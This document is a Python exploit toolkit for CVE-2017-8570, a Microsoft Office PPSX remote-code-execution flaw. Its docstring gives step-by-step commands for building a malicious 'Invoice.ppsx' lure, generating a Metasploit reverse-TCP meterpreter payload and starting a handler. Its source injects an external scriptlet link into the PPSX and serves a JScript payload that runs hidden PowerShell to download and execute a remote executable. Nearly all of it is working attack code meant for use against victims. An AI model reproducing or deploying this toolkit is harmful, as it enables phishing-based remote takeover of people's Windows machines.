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'''
## Exploit toolkit CVE-2017-8570 - v1.0 (https://github.com/bhdresh/CVE-2017-8570) ##
### Scenario 1: Deliver local payload
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
### Scenario 2: Deliver Remote payload
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver remote payload
# python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe
Scenario 3: Deliver custom SCT file
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver custom SCT file
# python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct
### Command line arguments:
# python cve-2017-8570_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8570 (Microsoft Office PPSX RCE)
Modes:
-M gen Generate Malicious PPSX file only
Generate malicious PPSX file:
-w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).
-u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and
will be requested once victim will open malicious PPSX file.
-M exp Start exploitation mode
Exploitation:
-H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l".
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
'''
import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo
BACKLOG = 50
MAX_DATA_RECV = 999999
DEBUG = True
def main(argv):
global port
global host
global filename
global docuri
global payloadurl
global payloadlocation
global customsct
global mode
global obfuscate
filename = ''
docuri = ''
payloadurl = ''
payloadlocation = ''
customsct = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
try:
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","customsct=","obfuscate="])
except getopt.GetoptError:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-8570 (Microsoft Word PPSX RCE)\n"
print "Modes:\n"
print " -M gen Generate Malicious PPSX file only\n"
print " Generate malicious PPSX file:\n"
print " -w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).\n"
print " -u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.\n"
print " For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and\n"
print " will be requested once victim will open malicious PPSX file.\n"
print " -M exp Start exploitation mode\n"
print " Exploitation:\n"
print " -H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.\n"
print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
print " -p <TCP port:Default 80> Local port number.\n"
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
print " -l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
elif opt in ("-H","--customsct"):
customsct = arg
if "gen" in mode:
if (len(filename)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(docuri)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
generate_exploit_ppsx()
mode = 'Finished'
if "exp" in mode:
if (len(customsct)>1):
print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
exploitation()
sys.exit()
if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
exploitation()
sys.exit()
print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
exploitation()
mode = 'Finished'
if not "Finished" in mode:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
def generate_exploit_ppsx():
shutil.copy2('template/template.ppsx', filename)
class UpdateableZipFile(ZipFile):
"""
Add delete (via remove_file) and update (via writestr and write methods)
To enable update features use UpdateableZipFile with the 'with statement',
Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
"""
class DeleteMarker(object):
pass
def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
super(UpdateableZipFile, self).__init__(file, mode=mode,
compression=compression,
allowZip64=allowZip64)
self._replace = {}
self._allow_updates = False
def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
if isinstance(zinfo_or_arcname, ZipInfo):
name = zinfo_or_arcname.filename
else:
name = zinfo_or_arcname
if self._allow_updates and name in self.namelist():
temp_file = self._replace[name] = self._replace.get(name,
tempfile.TemporaryFile())
temp_file.write(bytes)
else:
super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
bytes, compress_type=compress_type)
def write(self, filename, arcname=None, compress_type=None):
arcname = arcname or filename
if self._allow_updates and arcname in self.namelist():
temp_file = self._replace[arcname] = self._replace.get(arcname,
tempfile.TemporaryFile())
with open(filename, "rb") as source:
shutil.copyfileobj(source, temp_file)
else:
super(UpdateableZipFile, self).write(filename,
arcname=arcname, compress_type=compress_type)
def __enter__(self):
self._allow_updates = True
return self
def __exit__(self, exc_type, exc_val, exc_tb):
try:
super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
if len(self._replace) > 0:
self._rebuild_zip()
finally:
self._close_all_temp_files()
self._allow_updates = False
def _close_all_temp_files(self):
for temp_file in self._replace.itervalues():
if hasattr(temp_file, 'close'):
temp_file.close()
def remove_file(self, path):
self._replace[path] = self.DeleteMarker()
def _rebuild_zip(self):
tempdir = tempfile.mkdtemp()
try:
temp_zip_path = os.path.join(tempdir, 'new.zip')
with ZipFile(self.filename, 'r') as zip_read:
with ZipFile(temp_zip_path, 'w', compression=self.compression,
allowZip64=self._allowZip64) as zip_write:
for item in zip_read.infolist():
replacement = self._replace.get(item.filename, None)
if isinstance(replacement, self.DeleteMarker):
del self._replace[item.filename]
continue
elif replacement is not None:
del self._replace[item.filename]
replacement.seek(0)
data = replacement.read()
replacement.close()
else:
data = zip_read.read(item.filename)
zip_write.writestr(item, data)
shutil.move(temp_zip_path, self.filename)
finally:
shutil.rmtree(tempdir)
with UpdateableZipFile(filename, "a") as o:
o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
print "Generated "+filename+" successfully"
def exploitation():
print "Server Running on ",host,":",port
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(BACKLOG)
except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)
while 1:
conn, client_addr = s.accept()
thread.start_new_thread(server_thread, (conn, client_addr))
s.close()
def server_thread(conn, client_addr):
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
first_line = request.split('\n')[0]
method = first_line.split(' ')[0]
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)
if (len(customsct)>1):
print "Received request for custom SCT from "+client_addr[0]
try:
size = os.path.getsize(customsct)
except OSError:
print "Unable to read custom SCT file - "+customsct
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
with open(customsct) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
conn.close()
sys.exit(1)
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read"+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n description='Dummy'\r\n progid='giffile'\r\n version='1.00'\r\n remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
if __name__ == '__main__':
main(sys.argv[1:])
|
